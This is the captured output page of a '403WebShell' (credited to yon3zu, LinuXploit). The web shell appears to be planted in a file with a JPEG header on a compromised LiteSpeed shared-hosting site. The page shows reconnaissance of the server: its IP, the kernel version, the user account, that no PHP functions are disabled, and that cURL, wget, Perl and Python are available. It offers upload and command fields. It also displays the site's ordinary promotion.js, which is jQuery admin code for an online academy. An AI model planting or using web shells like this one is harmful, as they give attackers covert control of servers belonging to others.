����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.23.92.44
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/public/admin/js/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/public/admin/js/custom/promotion.js
(function ($) {
    "use strict";
    $(document).on('click', '.addPromotion', function () {
        var course_id = $(this).data('course_id');
        var promotion_id = $('.promotion_id').val();
        var route = $('.addPromotionCourseRoute').val();

        $.ajax({
            type: "GET",
            url: route,
            data: {"course_id": course_id, "promotion_id": promotion_id},
            datatype: "json",
            success: function (response) {
                toastr.options.positionClass = 'toast-bottom-right';
                if (response.status == 409){
                    toastr.error(response.msg);
                }
                if (response.status == 200) {
                    $('.appendAddRemove'+ response.course_id).html(`
                        <button class="btn-action ms-2 btn btn-danger removePromotion" data-course_id="${response.course_id}">
                            <span class="iconify" data-icon="bi:trash"></span>
                        </button>
                    `)
                    toastr.success(response.msg);
                }
            },
            error: function () {
                alert("Error!");
            },
        });

    });

    $(document).on('click', '.removePromotion', function () {
        var course_id = $(this).data('course_id');
        var promotion_id = $('.promotion_id').val();
        var route = $('.removePromotionCourseRoute').val();
        $.ajax({
            type: "GET",
            url: route,
            data: {"course_id": course_id, "promotion_id": promotion_id},
            datatype: "json",
            success: function (response) {
                toastr.options.positionClass = 'toast-bottom-right';

                if (response.status == 404){
                    toastr.error(response.msg);
                }

                if (response.status == 200) {
                    $('.appendAddRemove'+ response.course_id).html(`
                    <button class="btn-action ms-2 btn btn-primary addPromotion" data-course_id="${response.course_id}">
                        <span class="iconify" data-icon="ant-design:plus-square-outlined"></span>
                    </button>
                    `)
                    toastr.info(response.msg);
                }
            },
            error: function () {
                alert("Error!");
            },
        });

    });
})(jQuery)

Youez - 2016 - github.com/yon3zu
LinuXploit